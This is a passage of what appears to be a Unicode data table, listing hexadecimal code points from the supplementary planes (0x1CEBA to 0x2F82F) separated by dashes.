0x1CEBA, - 0x1CED1, - 0x1CEE0, - 0x1CEF1, - 0x1CF00, - 0x1CF2E, - 0x1CF30, - 0x1CF47, - 0x1CF50, - 0x1CFC4, - 0x1D000, - 0x1D0F6, - 0x1D100, - 0x1D127, - 0x1D129, - 0x1D15E, - 0x1D15F, - 0x1D160, - 0x1D161, - 0x1D162, - 0x1D163, - 0x1D164, - 0x1D165, - 0x1D173, - 0x1D17B, - 0x1D1BB, - 0x1D1BC, - 0x1D1BD, - 0x1D1BE, - 0x1D1BF, - 0x1D1C0, - 0x1D1C1, - 0x1D1EB, - 0x1D200, - 0x1D246, - 0x1D2C0, - 0x1D2D4, - 0x1D2E0, - 0x1D2F4, - 0x1D300, - 0x1D357, - 0x1D360, - 0x1D379, - 0x1D400, - 0x1D401, - 0x1D402, - 0x1D403, - 0x1D404, - 0x1D405, - 0x1D406, - 0x1D407, - 0x1D408, - 0x1D409, - 0x1D40A, - 0x1D40B, - 0x1D40C, - 0x1D40D, - 0x1D40E, - 0x1D40F, - 0x1D410, - 0x1D411, - 0x1D412, - 0x1D413, - 0x1D414, - 0x1D415, - 0x1D416, - 0x1D417, - 0x1D418, - 0x1D419, - 0x1D41A, - 0x1D41B, - 0x1D41C, - 0x1D41D, - 0x1D41E, - 0x1D41F, - 0x1D420, - 0x1D421, - 0x1D422, - 0x1D423, - 0x1D424, - 0x1D425, - 0x1D426, - 0x1D427, - 0x1D428, - 0x1D429, - 0x1D42A, - 0x1D42B, - 0x1D42C, - 0x1D42D, - 0x1D42E, - 0x1D42F, - 0x1D430, - 0x1D431, - 0x1D432, - 0x1D433, - 0x1D434, - 0x1D435, - 0x1D436, - 0x1D437, - 0x1D438, - 0x1D439, - 0x1D43A, - 0x1D43B, - 0x1D43C, - 0x1D43D, - 0x1D43E, - 0x1D43F, - 0x1D440, - 0x1D441, - 0x1D442, - 0x1D443, - 0x1D444, - 0x1D445, - 0x1D446, - 0x1D447, - 0x1D448, - 0x1D449, - 0x1D44A, - 0x1D44B, - 0x1D44C, - 0x1D44D, - 0x1D44E, - 0x1D44F, - 0x1D450, - 0x1D451, - 0x1D452, - 0x1D453, - 0x1D454, - 0x1D455, - 0x1D456, - 0x1D457, - 0x1D458, - 0x1D459, - 0x1D45A, - 0x1D45B, - 0x1D45C, - 0x1D45D, - 0x1D45E, - 0x1D45F, - 0x1D460, - 0x1D461, - 0x1D462, - 0x1D463, - 0x1D464, - 0x1D465, - 0x1D466, - 0x1D467, - 0x1D468, - 0x1D469, - 0x1D46A, - 0x1D46B, - 0x1D46C, - 0x1D46D, - 0x1D46E, - 0x1D46F, - 0x1D470, - 0x1D471, - 0x1D472, - 0x1D473, - 0x1D474, - 0x1D475, - 0x1D476, - 0x1D477, - 0x1D478, - 0x1D479, - 0x1D47A, - 0x1D47B, - 0x1D47C, - 0x1D47D, - 0x1D47E, - 0x1D47F, - 0x1D480, - 0x1D481, - 0x1D482, - 0x1D483, - 0x1D484, - 0x1D485, - 0x1D486, - 0x1D487, - 0x1D488, - 0x1D489, - 0x1D48A, - 0x1D48B, - 0x1D48C, - 0x1D48D, - 0x1D48E, - 0x1D48F, - 0x1D490, - 0x1D491, - 0x1D492, - 0x1D493, - 0x1D494, - 0x1D495, - 0x1D496, - 0x1D497, - 0x1D498, - 0x1D499, - 0x1D49A, - 0x1D49B, - 0x1D49C, - 0x1D49D, - 0x1D49E, - 0x1D49F, - 0x1D4A0, - 0x1D4A2, - 0x1D4A3, - 0x1D4A5, - 0x1D4A6, - 0x1D4A7, - 0x1D4A9, - 0x1D4AA, - 0x1D4AB, - 0x1D4AC, - 0x1D4AD, - 0x1D4AE, - 0x1D4AF, - 0x1D4B0, - 0x1D4B1, - 0x1D4B2, - 0x1D4B3, - 0x1D4B4, - 0x1D4B5, - 0x1D4B6, - 0x1D4B7, - 0x1D4B8, - 0x1D4B9, - 0x1D4BA, - 0x1D4BB, - 0x1D4BC, - 0x1D4BD, - 0x1D4BE, - 0x1D4BF, - 0x1D4C0, - 0x1D4C1, - 0x1D4C2, - 0x1D4C3, - 0x1D4C4, - 0x1D4C5, - 0x1D4C6, - 0x1D4C7, - 0x1D4C8, - 0x1D4C9, - 0x1D4CA, - 0x1D4CB, - 0x1D4CC, - 0x1D4CD, - 0x1D4CE, - 0x1D4CF, - 0x1D4D0, - 0x1D4D1, - 0x1D4D2, - 0x1D4D3, - 0x1D4D4, - 0x1D4D5, - 0x1D4D6, - 0x1D4D7, - 0x1D4D8, - 0x1D4D9, - 0x1D4DA, - 0x1D4DB, - 0x1D4DC, - 0x1D4DD, - 0x1D4DE, - 0x1D4DF, - 0x1D4E0, - 0x1D4E1, - 0x1D4E2, - 0x1D4E3, - 0x1D4E4, - 0x1D4E5, - 0x1D4E6, - 0x1D4E7, - 0x1D4E8, - 0x1D4E9, - 0x1D4EA, - 0x1D4EB, - 0x1D4EC, - 0x1D4ED, - 0x1D4EE, - 0x1D4EF, - 0x1D4F0, - 0x1D4F1, - 0x1D4F2, - 0x1D4F3, - 0x1D4F4, - 0x1D4F5, - 0x1D4F6, - 0x1D4F7, - 0x1D4F8, - 0x1D4F9, - 0x1D4FA, - 0x1D4FB, - 0x1D4FC, - 0x1D4FD, - 0x1D4FE, - 0x1D4FF, - 0x1D500, - 0x1D501, - 0x1D502, - 0x1D503, - 0x1D504, - 0x1D505, - 0x1D506, - 0x1D507, - 0x1D508, - 0x1D509, - 0x1D50A, - 0x1D50B, - 0x1D50D, - 0x1D50E, - 0x1D50F, - 0x1D510, - 0x1D511, - 0x1D512, - 0x1D513, - 0x1D514, - 0x1D515, - 0x1D516, - 0x1D517, - 0x1D518, - 0x1D519, - 0x1D51A, - 0x1D51B, - 0x1D51C, - 0x1D51D, - 0x1D51E, - 0x1D51F, - 0x1D520, - 0x1D521, - 0x1D522, - 0x1D523, - 0x1D524, - 0x1D525, - 0x1D526, - 0x1D527, - 0x1D528, - 0x1D529, - 0x1D52A, - 0x1D52B, - 0x1D52C, - 0x1D52D, - 0x1D52E, - 0x1D52F, - 0x1D530, - 0x1D531, - 0x1D532, - 0x1D533, - 0x1D534, - 0x1D535, - 0x1D536, - 0x1D537, - 0x1D538, - 0x1D539, - 0x1D53A, - 0x1D53B, - 0x1D53C, - 0x1D53D, - 0x1D53E, - 0x1D53F, - 0x1D540, - 0x1D541, - 0x1D542, - 0x1D543, - 0x1D544, - 0x1D545, - 0x1D546, - 0x1D547, - 0x1D54A, - 0x1D54B, - 0x1D54C, - 0x1D54D, - 0x1D54E, - 0x1D54F, - 0x1D550, - 0x1D551, - 0x1D552, - 0x1D553, - 0x1D554, - 0x1D555, - 0x1D556, - 0x1D557, - 0x1D558, - 0x1D559, - 0x1D55A, - 0x1D55B, - 0x1D55C, - 0x1D55D, - 0x1D55E, - 0x1D55F, - 0x1D560, - 0x1D561, - 0x1D562, - 0x1D563, - 0x1D564, - 0x1D565, - 0x1D566, - 0x1D567, - 0x1D568, - 0x1D569, - 0x1D56A, - 0x1D56B, - 0x1D56C, - 0x1D56D, - 0x1D56E, - 0x1D56F, - 0x1D570, - 0x1D571, - 0x1D572, - 0x1D573, - 0x1D574, - 0x1D575, - 0x1D576, - 0x1D577, - 0x1D578, - 0x1D579, - 0x1D57A, - 0x1D57B, - 0x1D57C, - 0x1D57D, - 0x1D57E, - 0x1D57F, - 0x1D580, - 0x1D581, - 0x1D582, - 0x1D583, - 0x1D584, - 0x1D585, - 0x1D586, - 0x1D587, - 0x1D588, - 0x1D589, - 0x1D58A, - 0x1D58B, - 0x1D58C, - 0x1D58D, - 0x1D58E, - 0x1D58F, - 0x1D590, - 0x1D591, - 0x1D592, - 0x1D593, - 0x1D594, - 0x1D595, - 0x1D596, - 0x1D597, - 0x1D598, - 0x1D599, - 0x1D59A, - 0x1D59B, - 0x1D59C, - 0x1D59D, - 0x1D59E, - 0x1D59F, - 0x1D5A0, - 0x1D5A1, - 0x1D5A2, - 0x1D5A3, - 0x1D5A4, - 0x1D5A5, - 0x1D5A6, - 0x1D5A7, - 0x1D5A8, - 0x1D5A9, - 0x1D5AA, - 0x1D5AB, - 0x1D5AC, - 0x1D5AD, - 0x1D5AE, - 0x1D5AF, - 0x1D5B0, - 0x1D5B1, - 0x1D5B2, - 0x1D5B3, - 0x1D5B4, - 0x1D5B5, - 0x1D5B6, - 0x1D5B7, - 0x1D5B8, - 0x1D5B9, - 0x1D5BA, - 0x1D5BB, - 0x1D5BC, - 0x1D5BD, - 0x1D5BE, - 0x1D5BF, - 0x1D5C0, - 0x1D5C1, - 0x1D5C2, - 0x1D5C3, - 0x1D5C4, - 0x1D5C5, - 0x1D5C6, - 0x1D5C7, - 0x1D5C8, - 0x1D5C9, - 0x1D5CA, - 0x1D5CB, - 0x1D5CC, - 0x1D5CD, - 0x1D5CE, - 0x1D5CF, - 0x1D5D0, - 0x1D5D1, - 0x1D5D2, - 0x1D5D3, - 0x1D5D4, - 0x1D5D5, - 0x1D5D6, - 0x1D5D7, - 0x1D5D8, - 0x1D5D9, - 0x1D5DA, - 0x1D5DB, - 0x1D5DC, - 0x1D5DD, - 0x1D5DE, - 0x1D5DF, - 0x1D5E0, - 0x1D5E1, - 0x1D5E2, - 0x1D5E3, - 0x1D5E4, - 0x1D5E5, - 0x1D5E6, - 0x1D5E7, - 0x1D5E8, - 0x1D5E9, - 0x1D5EA, - 0x1D5EB, - 0x1D5EC, - 0x1D5ED, - 0x1D5EE, - 0x1D5EF, - 0x1D5F0, - 0x1D5F1, - 0x1D5F2, - 0x1D5F3, - 0x1D5F4, - 0x1D5F5, - 0x1D5F6, - 0x1D5F7, - 0x1D5F8, - 0x1D5F9, - 0x1D5FA, - 0x1D5FB, - 0x1D5FC, - 0x1D5FD, - 0x1D5FE, - 0x1D5FF, - 0x1D600, - 0x1D601, - 0x1D602, - 0x1D603, - 0x1D604, - 0x1D605, - 0x1D606, - 0x1D607, - 0x1D608, - 0x1D609, - 0x1D60A, - 0x1D60B, - 0x1D60C, - 0x1D60D, - 0x1D60E, - 0x1D60F, - 0x1D610, - 0x1D611, - 0x1D612, - 0x1D613, - 0x1D614, - 0x1D615, - 0x1D616, - 0x1D617, - 0x1D618, - 0x1D619, - 0x1D61A, - 0x1D61B, - 0x1D61C, - 0x1D61D, - 0x1D61E, - 0x1D61F, - 0x1D620, - 0x1D621, - 0x1D622, - 0x1D623, - 0x1D624, - 0x1D625, - 0x1D626, - 0x1D627, - 0x1D628, - 0x1D629, - 0x1D62A, - 0x1D62B, - 0x1D62C, - 0x1D62D, - 0x1D62E, - 0x1D62F, - 0x1D630, - 0x1D631, - 0x1D632, - 0x1D633, - 0x1D634, - 0x1D635, - 0x1D636, - 0x1D637, - 0x1D638, - 0x1D639, - 0x1D63A, - 0x1D63B, - 0x1D63C, - 0x1D63D, - 0x1D63E, - 0x1D63F, - 0x1D640, - 0x1D641, - 0x1D642, - 0x1D643, - 0x1D644, - 0x1D645, - 0x1D646, - 0x1D647, - 0x1D648, - 0x1D649, - 0x1D64A, - 0x1D64B, - 0x1D64C, - 0x1D64D, - 0x1D64E, - 0x1D64F, - 0x1D650, - 0x1D651, - 0x1D652, - 0x1D653, - 0x1D654, - 0x1D655, - 0x1D656, - 0x1D657, - 0x1D658, - 0x1D659, - 0x1D65A, - 0x1D65B, - 0x1D65C, - 0x1D65D, - 0x1D65E, - 0x1D65F, - 0x1D660, - 0x1D661, - 0x1D662, - 0x1D663, - 0x1D664, - 0x1D665, - 0x1D666, - 0x1D667, - 0x1D668, - 0x1D669, - 0x1D66A, - 0x1D66B, - 0x1D66C, - 0x1D66D, - 0x1D66E, - 0x1D66F, - 0x1D670, - 0x1D671, - 0x1D672, - 0x1D673, - 0x1D674, - 0x1D675, - 0x1D676, - 0x1D677, - 0x1D678, - 0x1D679, - 0x1D67A, - 0x1D67B, - 0x1D67C, - 0x1D67D, - 0x1D67E, - 0x1D67F, - 0x1D680, - 0x1D681, - 0x1D682, - 0x1D683, - 0x1D684, - 0x1D685, - 0x1D686, - 0x1D687, - 0x1D688, - 0x1D689, - 0x1D68A, - 0x1D68B, - 0x1D68C, - 0x1D68D, - 0x1D68E, - 0x1D68F, - 0x1D690, - 0x1D691, - 0x1D692, - 0x1D693, - 0x1D694, - 0x1D695, - 0x1D696, - 0x1D697, - 0x1D698, - 0x1D699, - 0x1D69A, - 0x1D69B, - 0x1D69C, - 0x1D69D, - 0x1D69E, - 0x1D69F, - 0x1D6A0, - 0x1D6A1, - 0x1D6A2, - 0x1D6A3, - 0x1D6A4, - 0x1D6A5, - 0x1D6A6, - 0x1D6A8, - 0x1D6A9, - 0x1D6AA, - 0x1D6AB, - 0x1D6AC, - 0x1D6AD, - 0x1D6AE, - 0x1D6AF, - 0x1D6B0, - 0x1D6B1, - 0x1D6B2, - 0x1D6B3, - 0x1D6B4, - 0x1D6B5, - 0x1D6B6, - 0x1D6B7, - 0x1D6B8, - 0x1D6B9, - 0x1D6BA, - 0x1D6BB, - 0x1D6BC, - 0x1D6BD, - 0x1D6BE, - 0x1D6BF, - 0x1D6C0, - 0x1D6C1, - 0x1D6C2, - 0x1D6C3, - 0x1D6C4, - 0x1D6C5, - 0x1D6C6, - 0x1D6C7, - 0x1D6C8, - 0x1D6C9, - 0x1D6CA, - 0x1D6CB, - 0x1D6CC, - 0x1D6CD, - 0x1D6CE, - 0x1D6CF, - 0x1D6D0, - 0x1D6D1, - 0x1D6D2, - 0x1D6D3, - 0x1D6D5, - 0x1D6D6, - 0x1D6D7, - 0x1D6D8, - 0x1D6D9, - 0x1D6DA, - 0x1D6DB, - 0x1D6DC, - 0x1D6DD, - 0x1D6DE, - 0x1D6DF, - 0x1D6E0, - 0x1D6E1, - 0x1D6E2, - 0x1D6E3, - 0x1D6E4, - 0x1D6E5, - 0x1D6E6, - 0x1D6E7, - 0x1D6E8, - 0x1D6E9, - 0x1D6EA, - 0x1D6EB, - 0x1D6EC, - 0x1D6ED, - 0x1D6EE, - 0x1D6EF, - 0x1D6F0, - 0x1D6F1, - 0x1D6F2, - 0x1D6F3, - 0x1D6F4, - 0x1D6F5, - 0x1D6F6, - 0x1D6F7, - 0x1D6F8, - 0x1D6F9, - 0x1D6FA, - 0x1D6FB, - 0x1D6FC, - 0x1D6FD, - 0x1D6FE, - 0x1D6FF, - 0x1D700, - 0x1D701, - 0x1D702, - 0x1D703, - 0x1D704, - 0x1D705, - 0x1D706, - 0x1D707, - 0x1D708, - 0x1D709, - 0x1D70A, - 0x1D70B, - 0x1D70C, - 0x1D70D, - 0x1D70F, - 0x1D710, - 0x1D711, - 0x1D712, - 0x1D713, - 0x1D714, - 0x1D715, - 0x1D716, - 0x1D717, - 0x1D718, - 0x1D719, - 0x1D71A, - 0x1D71B, - 0x1D71C, - 0x1D71D, - 0x1D71E, - 0x1D71F, - 0x1D720, - 0x1D721, - 0x1D722, - 0x1D723, - 0x1D724, - 0x1D725, - 0x1D726, - 0x1D727, - 0x1D728, - 0x1D729, - 0x1D72A, - 0x1D72B, - 0x1D72C, - 0x1D72D, - 0x1D72E, - 0x1D72F, - 0x1D730, - 0x1D731, - 0x1D732, - 0x1D733, - 0x1D734, - 0x1D735, - 0x1D736, - 0x1D737, - 0x1D738, - 0x1D739, - 0x1D73A, - 0x1D73B, - 0x1D73C, - 0x1D73D, - 0x1D73E, - 0x1D73F, - 0x1D740, - 0x1D741, - 0x1D742, - 0x1D743, - 0x1D744, - 0x1D745, - 0x1D746, - 0x1D747, - 0x1D749, - 0x1D74A, - 0x1D74B, - 0x1D74C, - 0x1D74D, - 0x1D74E, - 0x1D74F, - 0x1D750, - 0x1D751, - 0x1D752, - 0x1D753, - 0x1D754, - 0x1D755, - 0x1D756, - 0x1D757, - 0x1D758, - 0x1D759, - 0x1D75A, - 0x1D75B, - 0x1D75C, - 0x1D75D, - 0x1D75E, - 0x1D75F, - 0x1D760, - 0x1D761, - 0x1D762, - 0x1D763, - 0x1D764, - 0x1D765, - 0x1D766, - 0x1D767, - 0x1D768, - 0x1D769, - 0x1D76A, - 0x1D76B, - 0x1D76C, - 0x1D76D, - 0x1D76E, - 0x1D76F, - 0x1D770, - 0x1D771, - 0x1D772, - 0x1D773, - 0x1D774, - 0x1D775, - 0x1D776, - 0x1D777, - 0x1D778, - 0x1D779, - 0x1D77A, - 0x1D77B, - 0x1D77C, - 0x1D77D, - 0x1D77E, - 0x1D77F, - 0x1D780, - 0x1D781, - 0x1D783, - 0x1D784, - 0x1D785, - 0x1D786, - 0x1D787, - 0x1D788, - 0x1D789, - 0x1D78A, - 0x1D78B, - 0x1D78C, - 0x1D78D, - 0x1D78E, - 0x1D78F, - 0x1D790, - 0x1D791, - 0x1D792, - 0x1D793, - 0x1D794, - 0x1D795, - 0x1D796, - 0x1D797, - 0x1D798, - 0x1D799, - 0x1D79A, - 0x1D79B, - 0x1D79C, - 0x1D79D, - 0x1D79E, - 0x1D79F, - 0x1D7A0, - 0x1D7A1, - 0x1D7A2, - 0x1D7A3, - 0x1D7A4, - 0x1D7A5, - 0x1D7A6, - 0x1D7A7, - 0x1D7A8, - 0x1D7A9, - 0x1D7AA, - 0x1D7AB, - 0x1D7AC, - 0x1D7AD, - 0x1D7AE, - 0x1D7AF, - 0x1D7B0, - 0x1D7B1, - 0x1D7B2, - 0x1D7B3, - 0x1D7B4, - 0x1D7B5, - 0x1D7B6, - 0x1D7B7, - 0x1D7B8, - 0x1D7B9, - 0x1D7BA, - 0x1D7BB, - 0x1D7BD, - 0x1D7BE, - 0x1D7BF, - 0x1D7C0, - 0x1D7C1, - 0x1D7C2, - 0x1D7C3, - 0x1D7C4, - 0x1D7C5, - 0x1D7C6, - 0x1D7C7, - 0x1D7C8, - 0x1D7C9, - 0x1D7CA, - 0x1D7CC, - 0x1D7CE, - 0x1D7CF, - 0x1D7D0, - 0x1D7D1, - 0x1D7D2, - 0x1D7D3, - 0x1D7D4, - 0x1D7D5, - 0x1D7D6, - 0x1D7D7, - 0x1D7D8, - 0x1D7D9, - 0x1D7DA, - 0x1D7DB, - 0x1D7DC, - 0x1D7DD, - 0x1D7DE, - 0x1D7DF, - 0x1D7E0, - 0x1D7E1, - 0x1D7E2, - 0x1D7E3, - 0x1D7E4, - 0x1D7E5, - 0x1D7E6, - 0x1D7E7, - 0x1D7E8, - 0x1D7E9, - 0x1D7EA, - 0x1D7EB, - 0x1D7EC, - 0x1D7ED, - 0x1D7EE, - 0x1D7EF, - 0x1D7F0, - 0x1D7F1, - 0x1D7F2, - 0x1D7F3, - 0x1D7F4, - 0x1D7F5, - 0x1D7F6, - 0x1D7F7, - 0x1D7F8, - 0x1D7F9, - 0x1D7FA, - 0x1D7FB, - 0x1D7FC, - 0x1D7FD, - 0x1D7FE, - 0x1D7FF, - 0x1D800, - 0x1DA8C, - 0x1DA9B, - 0x1DAA0, - 0x1DAA1, - 0x1DAB0, - 0x1DF00, - 0x1DF1F, - 0x1DF25, - 0x1DF2B, - 0x1E000, - 0x1E007, - 0x1E008, - 0x1E019, - 0x1E01B, - 0x1E022, - 0x1E023, - 0x1E025, - 0x1E026, - 0x1E02B, - 0x1E030, - 0x1E031, - 0x1E032, - 0x1E033, - 0x1E034, - 0x1E035, - 0x1E036, - 0x1E037, - 0x1E038, - 0x1E039, - 0x1E03A, - 0x1E03B, - 0x1E03C, - 0x1E03D, - 0x1E03E, - 0x1E03F, - 0x1E040, - 0x1E041, - 0x1E042, - 0x1E043, - 0x1E044, - 0x1E045, - 0x1E046, - 0x1E047, - 0x1E048, - 0x1E049, - 0x1E04A, - 0x1E04B, - 0x1E04C, - 0x1E04D, - 0x1E04E, - 0x1E04F, - 0x1E050, - 0x1E051, - 0x1E052, - 0x1E053, - 0x1E054, - 0x1E055, - 0x1E056, - 0x1E057, - 0x1E058, - 0x1E059, - 0x1E05A, - 0x1E05B, - 0x1E05C, - 0x1E05D, - 0x1E05E, - 0x1E05F, - 0x1E060, - 0x1E061, - 0x1E062, - 0x1E063, - 0x1E064, - 0x1E065, - 0x1E066, - 0x1E067, - 0x1E068, - 0x1E069, - 0x1E06A, - 0x1E06B, - 0x1E06C, - 0x1E06D, - 0x1E06E, - 0x1E08F, - 0x1E090, - 0x1E100, - 0x1E12D, - 0x1E130, - 0x1E13E, - 0x1E140, - 0x1E14A, - 0x1E14E, - 0x1E150, - 0x1E290, - 0x1E2AF, - 0x1E2C0, - 0x1E2FA, - 0x1E2FF, - 0x1E300, - 0x1E4D0, - 0x1E4FA, - 0x1E5D0, - 0x1E5FB, - 0x1E5FF, - 0x1E600, - 0x1E6C0, - 0x1E6DF, - 0x1E6E0, - 0x1E6F6, - 0x1E6FE, - 0x1E700, - 0x1E7E0, - 0x1E7E7, - 0x1E7E8, - 0x1E7EC, - 0x1E7ED, - 0x1E7EF, - 0x1E7F0, - 0x1E7FF, - 0x1E800, - 0x1E8C5, - 0x1E8C7, - 0x1E8D7, - 0x1E900, - 0x1E901, - 0x1E902, - 0x1E903, - 0x1E904, - 0x1E905, - 0x1E906, - 0x1E907, - 0x1E908, - 0x1E909, - 0x1E90A, - 0x1E90B, - 0x1E90C, - 0x1E90D, - 0x1E90E, - 0x1E90F, - 0x1E910, - 0x1E911, - 0x1E912, - 0x1E913, - 0x1E914, - 0x1E915, - 0x1E916, - 0x1E917, - 0x1E918, - 0x1E919, - 0x1E91A, - 0x1E91B, - 0x1E91C, - 0x1E91D, - 0x1E91E, - 0x1E91F, - 0x1E920, - 0x1E921, - 0x1E922, - 0x1E94C, - 0x1E950, - 0x1E95A, - 0x1E95E, - 0x1E960, - 0x1EC71, - 0x1ECB5, - 0x1ED01, - 0x1ED3E, - 0x1EE00, - 0x1EE01, - 0x1EE02, - 0x1EE03, - 0x1EE04, - 0x1EE05, - 0x1EE06, - 0x1EE07, - 0x1EE08, - 0x1EE09, - 0x1EE0A, - 0x1EE0B, - 0x1EE0C, - 0x1EE0D, - 0x1EE0E, - 0x1EE0F, - 0x1EE10, - 0x1EE11, - 0x1EE12, - 0x1EE13, - 0x1EE14, - 0x1EE15, - 0x1EE16, - 0x1EE17, - 0x1EE18, - 0x1EE19, - 0x1EE1A, - 0x1EE1B, - 0x1EE1C, - 0x1EE1D, - 0x1EE1E, - 0x1EE1F, - 0x1EE20, - 0x1EE21, - 0x1EE22, - 0x1EE23, - 0x1EE24, - 0x1EE25, - 0x1EE27, - 0x1EE28, - 0x1EE29, - 0x1EE2A, - 0x1EE2B, - 0x1EE2C, - 0x1EE2D, - 0x1EE2E, - 0x1EE2F, - 0x1EE30, - 0x1EE31, - 0x1EE32, - 0x1EE33, - 0x1EE34, - 0x1EE35, - 0x1EE36, - 0x1EE37, - 0x1EE38, - 0x1EE39, - 0x1EE3A, - 0x1EE3B, - 0x1EE3C, - 0x1EE42, - 0x1EE43, - 0x1EE47, - 0x1EE48, - 0x1EE49, - 0x1EE4A, - 0x1EE4B, - 0x1EE4C, - 0x1EE4D, - 0x1EE4E, - 0x1EE4F, - 0x1EE50, - 0x1EE51, - 0x1EE52, - 0x1EE53, - 0x1EE54, - 0x1EE55, - 0x1EE57, - 0x1EE58, - 0x1EE59, - 0x1EE5A, - 0x1EE5B, - 0x1EE5C, - 0x1EE5D, - 0x1EE5E, - 0x1EE5F, - 0x1EE60, - 0x1EE61, - 0x1EE62, - 0x1EE63, - 0x1EE64, - 0x1EE65, - 0x1EE67, - 0x1EE68, - 0x1EE69, - 0x1EE6A, - 0x1EE6B, - 0x1EE6C, - 0x1EE6D, - 0x1EE6E, - 0x1EE6F, - 0x1EE70, - 0x1EE71, - 0x1EE72, - 0x1EE73, - 0x1EE74, - 0x1EE75, - 0x1EE76, - 0x1EE77, - 0x1EE78, - 0x1EE79, - 0x1EE7A, - 0x1EE7B, - 0x1EE7C, - 0x1EE7D, - 0x1EE7E, - 0x1EE7F, - 0x1EE80, - 0x1EE81, - 0x1EE82, - 0x1EE83, - 0x1EE84, - 0x1EE85, - 0x1EE86, - 0x1EE87, - 0x1EE88, - 0x1EE89, - 0x1EE8A, - 0x1EE8B, - 0x1EE8C, - 0x1EE8D, - 0x1EE8E, - 0x1EE8F, - 0x1EE90, - 0x1EE91, - 0x1EE92, - 0x1EE93, - 0x1EE94, - 0x1EE95, - 0x1EE96, - 0x1EE97, - 0x1EE98, - 0x1EE99, - 0x1EE9A, - 0x1EE9B, - 0x1EE9C, - 0x1EEA1, - 0x1EEA2, - 0x1EEA3, - 0x1EEA4, - 0x1EEA5, - 0x1EEA6, - 0x1EEA7, - 0x1EEA8, - 0x1EEA9, - 0x1EEAA, - 0x1EEAB, - 0x1EEAC, - 0x1EEAD, - 0x1EEAE, - 0x1EEAF, - 0x1EEB0, - 0x1EEB1, - 0x1EEB2, - 0x1EEB3, - 0x1EEB4, - 0x1EEB5, - 0x1EEB6, - 0x1EEB7, - 0x1EEB8, - 0x1EEB9, - 0x1EEBA, - 0x1EEBB, - 0x1EEBC, - 0x1EEF0, - 0x1EEF2, - 0x1F000, - 0x1F02C, - 0x1F030, - 0x1F094, - 0x1F0A0, - 0x1F0AF, - 0x1F0B1, - 0x1F0C0, - 0x1F0C1, - 0x1F0D0, - 0x1F0D1, - 0x1F0F6, - 0x1F101, - 0x1F102, - 0x1F103, - 0x1F104, - 0x1F105, - 0x1F106, - 0x1F107, - 0x1F108, - 0x1F109, - 0x1F10A, - 0x1F10B, - 0x1F110, - 0x1F111, - 0x1F112, - 0x1F113, - 0x1F114, - 0x1F115, - 0x1F116, - 0x1F117, - 0x1F118, - 0x1F119, - 0x1F11A, - 0x1F11B, - 0x1F11C, - 0x1F11D, - 0x1F11E, - 0x1F11F, - 0x1F120, - 0x1F121, - 0x1F122, - 0x1F123, - 0x1F124, - 0x1F125, - 0x1F126, - 0x1F127, - 0x1F128, - 0x1F129, - 0x1F12A, - 0x1F12B, - 0x1F12C, - 0x1F12D, - 0x1F12E, - 0x1F12F, - 0x1F130, - 0x1F131, - 0x1F132, - 0x1F133, - 0x1F134, - 0x1F135, - 0x1F136, - 0x1F137, - 0x1F138, - 0x1F139, - 0x1F13A, - 0x1F13B, - 0x1F13C, - 0x1F13D, - 0x1F13E, - 0x1F13F, - 0x1F140, - 0x1F141, - 0x1F142, - 0x1F143, - 0x1F144, - 0x1F145, - 0x1F146, - 0x1F147, - 0x1F148, - 0x1F149, - 0x1F14A, - 0x1F14B, - 0x1F14C, - 0x1F14D, - 0x1F14E, - 0x1F14F, - 0x1F150, - 0x1F16A, - 0x1F16B, - 0x1F16C, - 0x1F16D, - 0x1F190, - 0x1F191, - 0x1F1AE, - 0x1F1E6, - 0x1F200, - 0x1F201, - 0x1F202, - 0x1F203, - 0x1F210, - 0x1F211, - 0x1F212, - 0x1F213, - 0x1F214, - 0x1F215, - 0x1F216, - 0x1F217, - 0x1F218, - 0x1F219, - 0x1F21A, - 0x1F21B, - 0x1F21C, - 0x1F21D, - 0x1F21E, - 0x1F21F, - 0x1F220, - 0x1F221, - 0x1F222, - 0x1F223, - 0x1F224, - 0x1F225, - 0x1F226, - 0x1F227, - 0x1F228, - 0x1F229, - 0x1F22A, - 0x1F22B, - 0x1F22C, - 0x1F22D, - 0x1F22E, - 0x1F22F, - 0x1F230, - 0x1F231, - 0x1F232, - 0x1F233, - 0x1F234, - 0x1F235, - 0x1F236, - 0x1F237, - 0x1F238, - 0x1F239, - 0x1F23A, - 0x1F23B, - 0x1F23C, - 0x1F240, - 0x1F241, - 0x1F242, - 0x1F243, - 0x1F244, - 0x1F245, - 0x1F246, - 0x1F247, - 0x1F248, - 0x1F249, - 0x1F250, - 0x1F251, - 0x1F252, - 0x1F260, - 0x1F266, - 0x1F300, - 0x1F6D9, - 0x1F6DC, - 0x1F6ED, - 0x1F6F0, - 0x1F6FD, - 0x1F700, - 0x1F7DA, - 0x1F7E0, - 0x1F7EC, - 0x1F7F0, - 0x1F7F1, - 0x1F800, - 0x1F80C, - 0x1F810, - 0x1F848, - 0x1F850, - 0x1F85A, - 0x1F860, - 0x1F888, - 0x1F890, - 0x1F8AE, - 0x1F8B0, - 0x1F8BC, - 0x1F8C0, - 0x1F8C2, - 0x1F8D0, - 0x1F8D9, - 0x1F900, - 0x1FA58, - 0x1FA60, - 0x1FA6E, - 0x1FA70, - 0x1FA7D, - 0x1FA80, - 0x1FA8B, - 0x1FA8E, - 0x1FAC7, - 0x1FAC8, - 0x1FAC9, - 0x1FACD, - 0x1FADD, - 0x1FADF, - 0x1FAEB, - 0x1FAEF, - 0x1FAF9, - 0x1FB00, - 0x1FB93, - 0x1FB94, - 0x1FBF0, - 0x1FBF1, - 0x1FBF2, - 0x1FBF3, - 0x1FBF4, - 0x1FBF5, - 0x1FBF6, - 0x1FBF7, - 0x1FBF8, - 0x1FBF9, - 0x1FBFA, - 0x1FBFB, - 0x20000, - 0x2A6E0, - 0x2A700, - 0x2B81E, - 0x2B820, - 0x2CEAE, - 0x2CEB0, - 0x2EBE1, - 0x2EBF0, - 0x2EE5E, - 0x2F800, - 0x2F801, - 0x2F802, - 0x2F803, - 0x2F804, - 0x2F805, - 0x2F806, - 0x2F807, - 0x2F808, - 0x2F809, - 0x2F80A, - 0x2F80B, - 0x2F80C, - 0x2F80D, - 0x2F80E, - 0x2F80F, - 0x2F810, - 0x2F811, - 0x2F812, - 0x2F813, - 0x2F814, - 0x2F815, - 0x2F816, - 0x2F817, - 0x2F818, - 0x2F819, - 0x2F81A, - 0x2F81B, - 0x2F81C, - 0x2F81D, - 0x2F81E, - 0x2F81F, - 0x2F820, - 0x2F821, - 0x2F822, - 0x2F823, - 0x2F824, - 0x2F825, - 0x2F826, - 0x2F827, - 0x2F828, - 0x2F829, - 0x2F82A, - 0x2F82B, - 0x2F82C, - 0x2F82D, - 0x2F82E, - 0x2F82F, - 